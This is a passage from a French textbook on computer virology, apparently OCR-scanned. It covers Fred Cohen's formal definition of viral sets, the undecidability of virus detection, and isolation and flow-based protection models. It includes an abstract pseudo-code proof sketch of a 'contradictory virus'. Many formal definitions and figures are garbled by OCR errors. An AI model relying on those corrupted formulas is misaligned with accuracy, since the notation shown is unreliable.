constitueront une base de travail pour établir la plupart de ses résultats.
— une structure 7 P décrivant un programme de (machine de) Turing;
ce programme pouvant étre vu comme une séquence finie de symboles
utilisés dans la bande de calcul? :

VM eM, Yo VieN*, veTPyssivell.

La structure 7 P s n’est donc ni plus ni moins qu’un élément du produit
cartésien généralisé I*;
— I’ensemble 7§ définit un ensemble non vide de programmes de Turing :

VMeM VW VeTSssidveVetVoeV, veTPy.

Autrement dit, il s’agit d’une partie, généralement propre, de I*.

3.2.2 Définitions formelles des virus

La formalisation de Fred Cohen repose sur la notion fondamentale d’ensem-
ble viral et c’est certainement 13 que se situe 'un de ses apports les plus
significatifs ayant facilité, par la suite, son approche théorique. Avant lui, il
semblerait que la considération d’un programme viral? se soit limitée & un
singleton (en reprenant le vocabulaire de la théorie des ensembles). Or, la
définition 17 (intuitive) d’un virus, donnée par Fred Cohen et adoptée depuis
par tout le monde, évoque la possibilité que le virus existe sous une forme
différente, « évoluée ». Cependant, la notion de « singleton viral » ne permet
pas d’appréhender cet aspect des virus d'une maniére effective.

Le théoréme de récursion 5, présenté dans la section 2, suggérait déja la
notion d’« évolution » de programmes (méme action mais codes différents).
L’idée de Fred Cohen était de définir un virus par un ensemble contenant
plusieurs éléments, I’ensemble viral, permettant d’expliciter ce que le théo-
réme de récursion suggérait implicitement, et dans un cadre plus général que
celui des programmes viraux. Cet ensemble ne contient pas seulement un
virus (programme) mais également toutes ses formes équivalentes, obtenues
par le résultat d’un calcul. Le terme d’« évolution » doit étre pris dans le sens
de polymorphisme, qui sera définitivement adopté dés 1989, avec le premier
moteur de ce nom (the Mutation Engine, voir chapitre 5). Le polymorphisme,

3 La notation I’ désigne le produit cartésien de ’ensemble I, i fois ; v désigne donc bien
une suite ordonnée de i symboles.

4 Rappelons que le terme de virus a été adopté pour la premiére fois par Fred Cohen, et
inspiré par L. Adleman [51. page 11.
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formalisé par Fred Cohen, est donc la production d'un élément appartenant
& l’ensemble viral, par un autre élément de cet ensemble.

La notion d’environnement, telle qu’elle est évoquée dans la définition 17,
est également un aspect fondamental dans ’approche de Fred Cohen. Un vi-
rus est ainsi vu comme une séquence S de symboles interprétée par une
machine de Turing M donnée. Lorsque S est interprétée par une autre ma-
chine de Turing M’, cette séquence n’est généralement plus un virus. La
encore, il convient de souligner la profondeur de la formalisation de Fred
Cohen. Un virus, dans un langage donné, et pour un systéme d’exploitation
donné ne sera plus un virus relativement a un autre systéme d’exploitation,
différent du premier. Un macro-virus (voir le chapitre 5) deviendra inerte et
inoffensif s’il est interprété avec autre chose qu’Office. C’est la raison pour
laquelle la notion d’ensemble viral (une séquence de symboles et son environ-
nement d’interprétation, en 'espéce, formalisés par une machine de Turing)
est particuliérement adaptée et subtile.

Tout cela est donc exprimé, avec force et profondeur, dans la notion d’en-
semble viral (nous noterons V, lensemble des ensembles viraux). Elle est
définie par la figure 3.1.

VMYV (M,V)eV & [V eTS| et [M e M]et
[Vo e V [VHuM [VEVY
[ 1. P]u(t) =jet
2. $M(t) = $M(0) et
3. (Omt, )., On(t, 7+ v — 1) = 9]
= A € VI > ¢[3f
[L01G" + D) < 4] ou [+ Jo]) < 7]
2. (Op (5, ..., 0,7 + 0] = 1)) =0 et
3. [3t” tel que [t <t < t] et
Pul) € 477+ 1] 1]

111110

Fic. 3.1. Définition formelle d’un ensemble viral

Traduisons cette définition, quelque peu rébarbative en un libellé plus
simple & comprendre.

Définition 20 (Ensemble viral)
Pour toute machine de Turing M et tout ensemble non vide de programmes
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de Turing V, la paire (M,V) est un ensemble viral, si et seulement si, pour
tout virus v € V', pour tous les historiques de la machine M alors :
— Pour tout instant t € N et toule cellule j de M si

1. la téte de lecture est devant la cellule j a 'instant t et

2. M est dans son état initial & U'instant t et

3. les cellules de la bande commencant o Uindice j contiennent le virus
v,

alors, il existe un virus v € V, a Uinstant t' >t et o Uindice j' tel que

1. §' est suffisamment loin de v,

2. les cellules de la bande commengant a l'indice j' contiennent le virus
v et

3. pour un instant t” tel que t <t” <{t', v est écrit par M.

De facon abrégée, V est un ensemble viral relativement & M, si seulement

51,

[(M,V) e V)]

et v est un virus relativement a M, si et seulement si,
[v € V] tel que [(M,V) € V).

Cette définition décrit bien le mécanisme caractérisant un virus, la notion
de copie, éventuellement différente de lui-méme. Notons au passage un fait
important. La notion de charge finale, autrement dit la routine a caractére
offensif, n’est pas caractéristique d’un virus®. Plus tard, L. Adleman envisa-
gera cet aspect des choses en considérant un point de vue plus général (voir
section 3.3). La figure 3.2 illustre graphiquement cette définition.

Nous adopterons dans le reste du chapitre, la notation abrégée suivante
due & Fred Cohen :

VMVV[(M,V) € V)] si et seulement si
[V eTS] et [M e M]et Vo e Vv V]|

on v M désigne la formalisation de la figure 3.1 a partir du symbole <.
Pour simplifier et avec les notions qui viennent d’étre définies, nous avons
alors :

5 11 est d'ailleurs assez surprenant et regrettable que dans 'esprit du public et de certains
spécialistes, il n’en soit pas de méme, ce qui explique un certain nombre de méprises et de
définitions erronées et fallacieuses véhiculées dans la presse généraliste voire technique.
La méconnnaissance des travaux de Fred Cohen est encore une fois dommageable.
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wiTns ¥ wirns v'

Bunde de caleul o Bande de calen] s
A i)

-
Fonction 19 [ Funetion ¥

L 2 "

Iretiamt instant 1

Fi1c. 3.2. Illustration de la définition formelle d’un virus

Définition 21 (Evolution virale) On dit que le virus v évolue en le virus
v’ relativement a M si,

(M, V)eV [veV] et eV] et o2 (Y.

Le virus v’ est une forme évoluée de v relativement ¢ M si,

[(M,V) eV [FieNIV' CVtel que
[veV]etv eV]et
Vo, € Vv X vpt1)] et
[FeN[FmeN
[l <m] et [v;=v] et [vm =V]J]]]]

En d’autres termes, si 'on considére la relation binaire g, alors la fermeture
transitive® de cette relation, ayant v pour origine, contient v. Le virus v’ est
donc issu du virus v soit directement (génération suivante) soit indirectement
(un ou plusieurs virus sont d’abord issus de v).

3.2.3 Etude et propriétés des ensembles viraux

Nous allons maintenant présenter les principaux résultats théoriques de
Fred Cohen. Les démonstrations ne seront pas données. Elles ne sont pas
essentielles pour cette présentation et le lecteur les trouvera dans [51, sec-
tion 2.5] et [52]. Nous recommandons vivement la lecture de ces deux ou-
vrages & tous ceux qui souhaitent acquérir une connaissance plus solide dans
ce domaine.

Le premier théoréme établit que toute union d’ensembles viraux est éga-
lement un ensemble viral.

5 La fermeture transitive d’une relation binaire R sur un ensemble £ (rappelons qu’une
telle relation peut étre décrite par un sous-ensemble du produit cartésien sur &) est la

plus petite relation transitive R’ sur £ contenant R. Cela signifie que quels que soient
x et y de &, si xR’y alors, soit xRy, soit il existe z € £ tel que 2Rz et zRy.



3.2 La formalisation de Fred Cohen 49

Théoréme 7
VM e M, YU* C P(I*)7[VV e U (M, V) e V] = [(M,uU*) eV]

Démonstration. La preuve est laissée au lecteur a titre d’exercice (voir en fin
de chapitre). O

Ce théoréme a une conséquence assez forte puisqu’il implique, si ’on consi-
dére deux ensembles Vi et V5, qu’il existe une machine de Turing pour la-
quelle tout virus vo € Vo peut évoluer & partir de v; € Vj. Il sert également
a établir la preuve de la proposition suivante.

Proposition 8 (Plus grand ensemble viral)
VM e M[FV C I"[(M,V) € V]| = [U C I* tel que

1. [(M,U) eV] et
2. WV C I'[[((M,V) e V] = Vv e Vv e U|]]]]

L’ensemble U est appelé plus grand ensemble viral relativement & M et noté
PGEV (M).

Démonstration. Indications : le point 1 se démontre simplement en utilisant
le théoréme 7 et le point 2 par contradiction en supposant que cette deuxiéme
condition est fausse : on doit arriver au résultat (contradictoire) qu’a la fois
vegUetquevel. O

La notion de « plus grand ensemble viral® » permet donc de considérer toutes

les formes v’ évoluées d’un virus donné v. Autrement dit [v Xy | = [V e
PGEV (M)]. Notons que PGEV(M) est I'union de tous les ensembles viraux
relativement & M.

La notion de plus grand ensemble viral suggére de considérer également la
notion de plus petit ensemble viral relativement & une machine M. Cela sup-
pose donc l'existence d’un ensemble viral non vide dont toute partie propre
n’est plus un ensemble viral.

Définition 22 (Plus petit ensemble viral)
Un plus petit ensemble viral relativement ¢ M € M, noté PPEV(M) est
défini par
VM e M|VV C I*[(M,V) € PPEV(M)] &

1. [(M,V)eV] el

" Si £ est un ensemble, P(£) désigne Pensemble des parties (sous-ensembles) de &£. Le
lecteur démontrera (utiliser la fonction indicatrice) que P(£) est de cardinal 2/€/.
8 Plus erand au sens de I’inclusion.
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2. [BU C V tel que [(M,U) € V]]].

I est évident, d’aprés ce qui précede, que plusieurs ensembles PPEV (M)
existent. En fait, la propriété virale est définie sur le treillis des parties de
I’ensemble I*, c’est-d-dire I’ensemble de ses parties ordonnées selon 'ordre
partiel défini par l'inclusion ; de ce fait, I’existence de plusieurs plus petites
parties non vides est logique. En particulier, il est logique de se demander
si le PPEV (M) pour une machine M donnée peut étre réduit a un seul
élément (un singleton). En effet, pour lordre partiel défini sur les parties d'un
ensemble, les plus petits éléments non vides sont précisément les singletons.
Le théoréme suivant répond & la question.

Théoréme 8 Il existe une machine M € M pour laquelle PPEV (M) est un
singleton. En d’autres termes,

[AM € M[AV C I* tel que [([M,V) € PPEV(M)] et [|[V]| = 1]]].

L’ensemble viral singleton décrit donc le cas des virus simples, non évolutifs
(non polymorphes), c’est-a-dire le cas le plus courant, celui que connait gé-
néralement le grand public. Fred Cohen a publié, a titre d’illustration, une
simulation d’une telle machine dans sa thése [51, pp 94-95| (voir la section
des projets en fin de chapitre).

En formulant ce théoréme de facon contraposée, il est alors possible de
deéfinir un virus, relativement & une machine donnée (comprenons un envi-
ronnement) comme toute séquence (au sens des machines de Turing) qui
s’autoreproduit dans cette machine (relativement & lenvironnement consi-
déré).

Corollaire 1 Pour toute machine M € M et quel que soit u € I* nous
avons :

M
[u = {u}] = [(M,{u}) € V]].
Démonstration. Indication : utiliser la définition de la figure 3.1. O

En fait, Fred Cohen a démontré un résultat plus général en considérant un
ensemble viral de taille finie quelconque.

Théoréme 9 (Plus petit ensemble viral de taille fixée)
Quel que soit 1 € N*, 4l existe une machine M € M el il existe un ensemble
V C I tels que

1. [(M,V) € PPEV(M)) et
2. |V| =i
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Nous sommes donc dans le cas d’ensemble viral au pouvoir évolutif contrélé
ou borné. Les différentes formes d’un virus sont en nombre limité®. La encore,
Fred Cohen a illustré ce résultat en donnant [51, pp 95-97] le pseudo-code
détaillé d’une telle machine pour un plus petit ensemble viral de taille 4.

Dans un cas encore plus général, ’existence d’un ensemble viral infini dé-
nombrable (donc équipotent a ’ensemble N) est agsurée, pour toute machine
de Turing, par le théoréme qui suit :

Théoréme 10 (Ensemble viral infini dénombrable)
Pour toute machine M € M, il existe un ensemble V C I* tels que

(M, V) e V] et [[V] = N].

Démonstration. Le lecteur consultera [51, pp 19-20] pour la preuve détaillée
de ce théoréme en prenant soin de lire auparavant le paragraphe 2.6 de cet
ouvrage, dans lequel sont définis tous les outils nécessaires a cette démonstra-
tion (tables abrégées permettant de décrire plus simplement les états internes
des machines illustrant un certain nombre de résultats). L’esprit général de
la démonstration est le suivant : on considére un ensemble viral dont chaque
élément engendre un autre élément possédant un symbole de plus (forme
virale évoluée). Cela permet donc de se ramener & un processus inductif de
construction (autrement dit, de considérer la bijection n +— n+ 1 permettant
de construire I’ensemble des entiers naturels). D’otu le résultat. O

Fred Cohen illustra ce théoréme en construisant effectivement une machine
réalisant (potentiellement) un ensemble viral infini dénombrable (voir [51,
pp 99-101]). Ce théoréme pourrait sembler n’avoir qu'une portée théorique,
sans implication pratique. Il n’en est rien. Il admet un corollaire aux consé-
quences fondamentales.

Corollaire 2 Considérons la machine M € M du théoréme 10. Il existe un
ensemble W C I* tel que
(W] = |N|] et [Vw € WEW' € W[w 2 W]

Démonstration. La preuve utilise celle du théoréme 10 en considérant un
ensemble viral sans plus petit ensemble viral (voir [51, pp 19-20]). O

La machine M du théoréme 10 admet donc un ensemble infini dénombrable
de séquences de nature non virale (c’est-a-dire ne répondant pas & la défini-
tion de la figure 3.1). Tl en résulte qu’il ne peut exister de machine M’ € M

¥ Le lecteur pourra consulter également [230], dans lequel les auteurs prouvent qu’il existe
des virus avant une infinité de formes. Voir éealement la section 4.5.
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permettant de déterminer si un couple (M, V) est de nature virale ou non

en énumérant simplement soit tous les virus (cas du théoréme 10) soit 'en-

semble de toutes les séquences non virales pour M (cas du corollaire 2). Nous

reparlerons des implications profondes de ce corollaire dans la section 3.2.4.
Considérons a présent la proposition suivante :

Proposition 9 Il existe une machine M € M pour laquelle il n’existe au-
cune séquence qui soil virale relativement o cette machine M. Aulrement
dit,

YM € M[PV c T*[(M, V) € V]].

Démonstration. 1l suffit de considérer une machine qui s’arréte immeédiate-
ment sans mouvoir sa téte de lecture (voir [51, page 20]). O

Les machines concernées par la proposition 9 correspondent en fait a tous
les environnements manipulant des données complétement « inertes » (docu-
ment texte du type *.txt ou format d’images ou autres, ou avec des droits
de lecture seule). Cela implique, notamment, qu'un simple document texte
ne puisse étre infecté.

De facon contraposée, le théoréme 11 implique qu’il est toujours possible
de trouver une machine pour laquelle une séquence arbitraire constitue un
virus.

Théoréme 11 Pour toute séquence v € I*, il existe une machine M € M
telle que
(M, {v}) € V].

Dans sa démonstration, Fred Cohen a construit effectivement une telle ma-
chine (voir [51, page 21 et pp 101-103]). Notons que dans ce cas, la ma-
chine M est telle que PPEV(M) est un singleton et telle que PPEV (M) =
PGEV(M).

Pour conclure cette section sur les propriétés des ensembles viraux, consi-
dérons la proposition suivante qui compléte les deux résultats précédents
(proposition 9 et théoréme 11).

Proposition 10 1] existe une machine M € M telle que pour toute séquence
v € I* il existe un ensemble V C I tel que

[v € V] et [(M,V) € PGEV(M)].

La preuve donnée par Fred Cohen [51. oo 22-231 est constructive.
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3.2.4 Formalisation de la lutte antivirale

Le probléme des virus appelle obligatoirement celui de leur détection.
L’apport le plus important de Fred Cohen est, sans conteste, d’avoir forma-
lisé de maniére rigoureuse le probléme de la détection. Nous avons vu, avec
le corollaire 2 du théoréme 10, que existence de machines permettant de
décider, par simple énumération, si un ensemble est de nature virale ou non,
est une impossibilité mathématique. Cela a comme conséquence, notamment,
que les techniques de lutte antivirale — techniques de nature énumérative —
par recherche de signatures (ou techniques de scanning) sont trés fortement
limitées. La meilleure illustration de ce corollaire est celle des virus poly-
morphes (voir chapitre 5) qui justement permettent de leurrer les antivirus
fondés uniquement sur la technique de scanning.
Fred Cohen a identifié trois points & envisager pour formaliser plus avant
le probléme de la détection virale :
— Probléme de décidabilité.- 11 s’agit de déterminer s’il existe une machine
de Turing capable de décider'®, en temps fini, si une séquence donnée
v, pour une machine M € M, est virale on non.

— Probleme d’évolutivité wvirale.- Est-il possible de construire un pro-
gramme capable de déterminer, en temps fini, si une séquence donnée
v, pour une machine de Turing donnée M, génére une autre séquence
donnée v pour M ?

— Probléeme de calculabilité virale.- Ce probléme traite de la capacité a ca-

ractériser ’ensemble des séquences provenant de I’évolution d’un virus.

Probléme de décidabilité

I’étude et les réponses apportées pour la résolution de ce probléme vont
déterminer directement 'effectivité de la lutte antivirale. Le théoréme suivant
est certainement le résultat le plus important de la thése de Fred Cohen.

Théoréme 12 (Non-décidabilité de la détection virale)
[BD € M 3s; € Sp tels que VM €¢ M, YV C I*

1. Le calcul de D s’arréte & un instant t et

2. [Sp(t) = si] & [(M,V) € V]].

Démonstration. La démonstration (voir pour plus de détails [51, pp 23-25|)
est basée sur la réduction du probléme de décidabilité de ’ensemble viral au

10 d’une maniére eénérale. autrement dit non limitée aux technicues énumeératives.
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probléme de Parrét (nous conseillons vivement aux lecteurs intéressés de lire
en détail la preuve originale du théoréme). Nous avons vu avec le théoréme 4
de la section 2.2.3 que ce probléme était lui-méme indécidable.

Les grandes lignes de la démonstration sont les suivantes'! :

1. on considére une machine arbitrairement choisie M’ et une séquence de
calcul v/,

2. une machine M et une séquence v sont ensuite générées, effectuant les
actions suivantes :

a) copier v’ & partir de v,
b) simuler exécution de M’ sur v/,
¢) et sile calcul de v’ dans M’ g’arréte, v est dupliqué.

Ainsi v se reproduit si et seulement si la séquence produit un arrét du calcul
sur M’. Or le probleme de Parrét est un probléme indécidable.

En considérant alors le corollaire 1 (toute séquence qui se reproduit est
un virus), il s’ensuit que déterminer si [(M, {v}) € V] est un probléme indé-
cidable. O

Ce théoréme montre que toute détection virale absolue est une impossibilité
mathématique. Il infirme en particulier les affirmations outranciéres et com-
merciales de certains éditeurs d’antivirus tendant a faire croire le contraire.
Ce résultat est fondamental. Il implique que toute politique antivirale basée
uniquement sur la mise en ceuvre d’un antivirus, quel qu’il soit, est d’une por-
tée forcément limitée. En corollaire, il est aisé de comprendre que le contour-
nement de tout antivirus est également possible.

D. Chess et S. White [48] ont partiellement complété les résultats de
Fred Cohen en définissant la notion de détection souple. Ces résultats sont
présentés succinctement dans la section 4.3.

Probléme d’évolutivité virale

Le théoréme 12 traite donc le probleme de la détection antivirale d’une
maniére trés générale. Le second probléme considére une instance plus limitée
du probléme, & savoir celui de pouvoir déterminer si un virus est éventuelle-
ment issu, par évolution, d’'un autre virus (en terme pratique par mutation
ou polymorphisme ; voir le chapitre 5 pour la définition précise de ce terme
ainsi que de ceux utilisés par la suite dans ce chapitre).

I Une démonstration est disponible éealement dans [25. o 627-6301.
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La lutte antivirale par scanner n’est efficace, contre les virus connus,
(méme si elle pose, dans la pratique, un certain nombre de difficultés tech-
niques), que dans le cas du théoréme 8 (plus petit ensemble viral de type
singleton). Dans le cas des virus évolutifs, une des principales techniques uti-
lisées est celle du scanning heuristique'?. Mais ces techniques, qui peuvent
étre puissantes et trés efficaces, sont malgré tout limitées : possibilités de
leurrage, probléme de fausses alarmes,.... Le théoréme suivant prouve pour-
quoi ces techniques, en particulier lorsqu’elles tentent de déterminer si un
virus est une forme « mutée » d’un virus connu, sont forcément limitées.

Théoréme 13 (Non-décidabilité de I'évolutivité virale)
[BD € M3s; € Sp tels que V(M,V) € V,[Vo € V, [vo'

1. Le calcul de D s’arréte & linstant t et

2. [Sp(t) = si] & [0 2 {v'}]]

Démonstration. Elle est basée sur celle du théoréme 12. La machine M est
modifiée de facon a dupliquer en premier lieu la séquence v, puis a exécuter
la séquence v’ sur M’ et enfin & engendrer v, La duplication initiale implique
que (M,{v}) € V tandis que la génération de v' implique que le calcul de v/
dans M’ s’arréte. Déterminer si v’ est issu ou non de v est alors indécidable.
O

Probléme de calculabilité virale

La preuve du théoréme 12 donnée par Fred Cohen utilisait le fait qu’il est
possible de définir une machine directement & partir d’une séquence virale
(par inclusion directe). Le probléme d’évolutivité calculable va maintenant
considérer une classe générale de machines définies de la méme maniére. En
d’autres termes, il s’agit de montrer que la capacité évolutive des virus est
assimilable au pouvoir de calculabilité des machines de Turing.

Théoréme 14 (Calculabilité virale)
Pour toute machine M’ € M, il existe (M,V) € V tel que, quel que soit
tEN:

Ve € {0,1} [z € Hyp] et

12 Un programme heuristique ou heuristique est un programme permettant de trouver
une solution effective mais presque toujours approchée (non nécessairement optimale)
A tout probléme, quelle que soit son instance, en particulier pour la classe des problémes
réputés difficiles au sens de la théorie de la complexité (problémes dit NP-complets).
Pour plus de détails sur ces aleorithmes. consulter [182. oo 299-303] et [150. chan 36-41.
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Jv eV, €V tels que [[v évolue en o] et [z C V']].
Démonstration. Voir [51, pp 26-27] O

Toute séquence (ou nombre de Godel), calculable par une machine de Turing
universelle, peut également provenir de I’évolution d’un virus. Pour résumer,
cela implique que Pensemble des virus est une classe de machines de Turing
comparable & I'ensemble M. 1l existe donc, en particulier, une « machine
virale universelle » capable de faire évoluer toute séquence effectivement
calculable.

Que signifie ce théoréme dans le cadre de la détection virale? Il renforce
le résultat du théoreme 12. En effet, si tout programme (par la modélisa-
tion) peut étre vu comme une forme évoluée d'un virus, il en résulte qu'il
existe une correspondance biunivoque entre I'ensemble M et I’ensemble V
(les ensembles sont équipotents). Nous avons donc la proposition suivante :

Proposition 11 (Cardinalité virale)
Il eziste exactement Rg (autrement dit, une infinité dénombrable) de virus

Démonstration. Par application du théoréme 14 et en considérant qu’il existe
R fonctions récursives partielles (théoréme 1 du chapitre 2.2.1). O

Il s’ensuit que les techniques énumeératives (scanning ou techniques assimi-
lées) de la lutte antivirale sont donc inapplicables.

3.2.5 Modéles de prévention et de protection

Soit un systéme d’information générique (décrit par un modele de calcul
de Turing). Dans ce systéme, (comme dans tout ordinateur réel ainsi forma-
lisé), tout utilisateur peut disposer de toute information disponible (données
ou programmes) et en sa possession (selon les droits qui lui sont attribués),
traiter cette information ('interpréter) et la transmettre éventuellement a
d’autres utilisateurs du systéme ou d’un autre systéme (dans le cas des ré-
seaux).

Dans le contexte d’un tel systéme générique, cela implique que le pro-
cessus de partage de 'information étant transitif (au sens mathématique du
terme), il en est de méme du processus d’infection par un virus ou un ver.
Le partage et la transitivité du flot d’information, quel que soit le point de
départ de ce flot. permettent naturellement a un virus de se disséminer selon
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la fermeture transitive de ce flot d’information (pour un rappel de la signi-
fication de cette notion, voir note de bas page de la définition 21), & moins
d’imposer des restrictions fortes.

Fred Cohen, aprés avoir mené cette analyse, en a déduit (& juste titre)
qu’a inverse, si tout partage est supprimé, le flot d’information entre utili-
sateurs est coupé et tout éventuel virus est confiné, sa dissémination étant
alors impossible. C’est le modéle dit « isolationniste ». A l'exception de
quelques cas trés particuliers (organismes de Défense, entreprises ou admi-
nistrations sensibles...) pour lesquels ce modeéle est en général obligatoire,
il reste inapplicable en pratique dans la vaste majorité des autres cas. La
volonté de mise en réseau, de facon quelquefois inconsidérée et outranciére,
des systémes actuels, des ressources informatiques locales, régionales, natio-
nales et internationales est incompatible avec le modéle isolationniste. Fred
Cohen, outre le partage des données, a identifié deux autres facteurs permet-
tant la dissémination virale : 'exécution de programmes et la modification
de données et /ou de programmes. Il a renforcé, en conséquence, son modéle
isolationniste par la suppression de ces deux facteurs. Ce modéle aboutit &
des environnements tellement bridés qu’ils sont totalement inutilisables dans
la plupart des cas.

Fred Cohen a tenté alors de définir des modéles de type isolationniste
moins stricts, applicables certes pour des contextes encore trés particuliers,
et pour lesquels une « certaine garantie de sécurité » est assurée cependant.
Ces modéles restent le plus souvent d’un intérét essentiellement théorique,
tant les contraintes qu’ils supposent sont incompatibles avec l’ergonomie re-
cherchée de nos jours.

Prévention contre les virus

Le but est donc de limiter au maximum le risque de dissémination virale
par ’application de modéles dérivés du modéle isolationniste. Deux classes,
parmi d’autres, ont été définies et analysées par Fred Cohen.

— Modéles de cloisonnement.- Il s’agit 14 de cloisonner le flot d’infor-
mation en partitionnant le systéme'3 en sous-ensembles propres et clos
pour la transitivité, autrement dit le systéme est divisé en sous-systémes
confinés. Le résultat est que 'infection est alors limitée & chaque sous-
systeme. Ce type de modéle est celui appliqué généralement dans les

13 La notion de partition, ici, correspond & celle utilisée en mathématique. Une partition
d’un ensemble £ est un ensemble de parties de &, propres, non vides, deux a deux
disjointes et dont la réunion est ’ensemble £.
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systémes militaires : la notion de cloisonnement coincide alors avec celle
de niveau d’habilitation.

A cette catégorie, appartient le modéle résultant de la combinaison des
modéles Bell-LaPadula [21] et d’intégrité Biba'* [22]. D'un point de
vue mathématique, ce modéle résultant est défini sur un ensemble de
niweaur de sécurité et chaque utilisateur se voit attribuer un niveau de
sécurité donné. Le partage est alors limité par deux propriétés : régles
d’interdiction de lecture ascendante (un utilisateur d’un niveau z ne
peut lire d’information & partir d’un niveau de sécurité supérieur a )
et d’écriture descendante (un utilisateur d’un niveau x ne peut écrire
d’information dans un niveau de sécurité inférieur a x). Mathématique-
ment, ce genre de modéle peut étre décrit a I’aide de treillis'®. Dans le
cas de l'intégrité, héritée du modéle Biba, la notion d’intégrité est alors
considérée (au lieu de celle de sécurité) et les deux régles sont inversées
(regles d’interdiction de lecture descendante et d’écriture ascendante).
Modéles de flot. Dans cette classe, les systémes ne sont pas cloisonnés
en sous-systémes propres mais une « distance de flot » est alors appli-
quée. Le but est de permettre une transitivité limitée et controlée du
flot d’information. Tous les partages d’information sont enregistrés et
quantifiés a 'aide d'une distance D'® mesurant le nombre de partages
(a partir d’une origine arbitraire) et les deux régles suivantes :

1. D(donnée de sortie) = max(D(données d’entrée)).

2. D(donnée partagée)= 1+ D(donnée avant partage).

1 Ces deux modeéles sont les deux modeles de sécurité les plus connus des années 70. La

plupart des modéles actuels en reprennent 'esprit et les principales caractéristiques. Le
lecteur trouvera leur description détaillée dans les articles originaux [21,22] et dans [8,
Chap. 7], pour une présentation actualisée.

5 Un treillis est un ensemble ordonné 7 tel que toute partie {x,y} de 7 a deux éléments

admet une borne inférieure (notée xAy) et une borne supérieure (notée xVy). L’ensemble
des parties d’un ensemble £, ordonné par linclusion, est un treillis pour lequel V =
U et A = N. La notion de treillis permet la formalisation et I’étude des ensembles
partiellement ordonnés (ensemble dans lequel la relation d’ordre est partielle, ¢’est-a-
dire que deux éléments ne sont pas obligatoirement comparables) ; pour plus de détails
sur ces objets voir [132].

16 Une distance sur un ensemble £ est une application d de £ x £ dans R telle que pour

tout (z,y,2) € €2 :
1. d(x,y) = 0 si et seulement si z = y (axiome de séparation).
2. d(z,y) = d(y,z) (axiome de symétrie).
3. d(z,y) < d(z,z) + d(z,y) (inégalité triangulaire).
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La protection est alors assurée en fixant un seuil au-dela duquel I’'infor-
mation devient inutilisable. La figure 3.3 considére un seuil de 1. Dans

A B C D E

“NORGRGN

Fic. 3.3. Modele de flot avec seuil de 1

cet exemple, un utilisateur ne peut communiquer qu’avec deux autres
utilisateurs. Toute information, émanant par exemple de C, peut uni-
quement étre partagée avec B ou D mais aucunement avec A et E, méme
par I'intermédiaire de B ou D. En revanche, toute information émanant
de B peut transiter par A, tant qu’elle ne contient pas d’informations
émanant de C.
Un tel modéle reste trés contraignant. Il nécessite de maintenir des
listes de flots, c’est-a-dire une liste de tous les utilisateurs ayant eu une
action sur chaque information (données et programmes), et ce selon des
régles précises et strictes.
Fred Cohen a proposé plusieurs modéles de sécurité détaillés appartenant
a ces deux classes [55-58]. Bien que leur qualité ne doive pas étre remise
en cause, ces modéles sont inapplicables dans la pratique compte-tenu des
contraintes (ou plutot de Pabsence de contraintes selon le point de vue ot
'on se place) exigées par les utilisateurs d’un systéme. Cela illustre avec force
le fait qu’en matiére de sécurité, la théorie est une chose et la pratique en
est une autre.
Un peu plus tard, L. Adleman (voir sections 3.3.3 et 3.3.4) va s’attacher
& étudier les aspects théoriques du modéle isolationniste.

Détection et réparation

En utilisant 'analogie avec le monde biologique, Fred Cohen a considéré
alors une approche plus réactive (la prévention se situe quant a elle dans
une perspective pro-active, en cherchant a anticiper et prévenir le risque)
consistant a baser la défense antivirale sur la détection et I’éradication. La
lutte contre les virus biologiques se résume en effet & observer (détecter)
le mal et & le soigner. Au passage, le lecteur notera l’analogie pertinente
existant entre les politiques de santé publique et les politiques de sécurité
informatiaue.
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Partant de cette base, Fred Cohen a considéré alors plusieurs aspects afin
de déterminer 'intérét de cette nouvelle approche, plus pragmatique. Nous
considérerons les aspects les plus pertinents.

— Détection virale.- Le théoréme 12 a montré (et Adleman en a précisé
plus tard la classe de complexité) que ce probléme était généralement
indécidable : il n’existe aucune procédure de décision D permettant de
distinguer un virus V' de tout autre programme, seulement sur sa forme
(examen du code, par exemple). Afin d'illustrer intuitivement ce fait,
considérons le pseudo-code suivant d’un virus C'V dit coniradictoire et
considérons que D existe.

cvQ)

si non D(CV) alors
{
infection();
si condition vraie alors charge_finale();
}
fin si
aller au programme suivant
}
}
La procédure de décision D détermine si C'V est un virus. Dans le cas
de CV lui-méme, que se passe-t-il 7
— Si D décide que CV est un virus, aucune infection ne survient (C'V
n’est alors pas un virus).
— En revanche, si D décide du contraire (C'V n’est pas un virus), 'in-
fection survient et C'V se révéle bien étre un virus.
Cet exemple montre que la procédure D est contradictoire et que toute
détection basée sur D) est impossible car il existe au moins un virus,
CV, qui ne sera pas détecté (le lecteur notera que le virus CV est
une autre fagon, plus intuitive mais tout aussi exacte, de démontrer
le théoréme 12). Tout ceci montre que toute défense antivirale basée
uniquement sur la détection par analyse de code est par essence d’une
efficacité limitée.
— Evolutivité virale.- Si la détection par analyse de code est généralement

impossible. peut-on considérer un autre critére ?
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Une autre approche peut consister & déterminer, non plus si un pro-
gramme est directement un virus, mais si deux programmes sont liés
par un mécanisme d’évolution virale. Malheureusement, le théoréme 13
a permis d’établir que le probléme d’évolutivité virale était générale-
ment indécidable. Il est aisé de le montrer en considérant un programme
contradictoire similaire au programme CV (voir exercice).

La détection par analyse de forme étant alors systématiquement im-
possible (directement ou par évolutivité comparée), Fred Cohen a alors
considéré le probléme de la détection par étude du comportement et
non plus de la forme [51, p. 73]. Le comportement viral, en fait, est
déterminé par des données particuliéres d’entrées'” d’un programme
appelées a révéler (ou non) sa nature virale. Décider le comportement
viral revient donc a analyser la forme de ces données d’entrées. Comme
la détection générale par la forme est indécidable, celle, générale, par
le comportement, I’est également.

— FEradication.- Le probléme est ici de supprimer un virus déja présent et
détecté. Tout mécanisme d’éradication suppose, de fagon triviale, d’étre
plus rapide que le processus viral lui-méme. Dans le cas contraire, la
réinfection par le virus condamnerait un tel mécanisme & ’échec.
L’autre aspect essentiel est que toute éradication eflicace est condition-
née par une détection précise du virus. Fred Cohen a souligné qu’en
pratique, il existait au moins une classe, celle des virus non évolutifs
(ou virus statiques), pouvant étre détectée et éradiquée. En général, la
technique employée est celle de la recherche de signatures, 'identifi-
cation précise permettant une éradication certaine. La seule contrainte
provient du fait que cette technique est de type énumératif et ne prendra
en compte que les virus déja identifiés. Encore une fois, nous sommes
donc confrontés au probléme général de la détection.

3.2.6 Résultats expérimentaux

L’un des aspects intéressants des travaux de Fred Cohen est d’avoir, offi-
ciellement pour la premiére fois, tenté de modéliser en pratique et en gran-
deur réelle, les processus d’infection et de dissémination, sur des systémes
réels et avec des virus non moins réels. Cela lui a permis en particulier de
vérifier certains de ses résultats théoriques, ainsi que la validité de certains
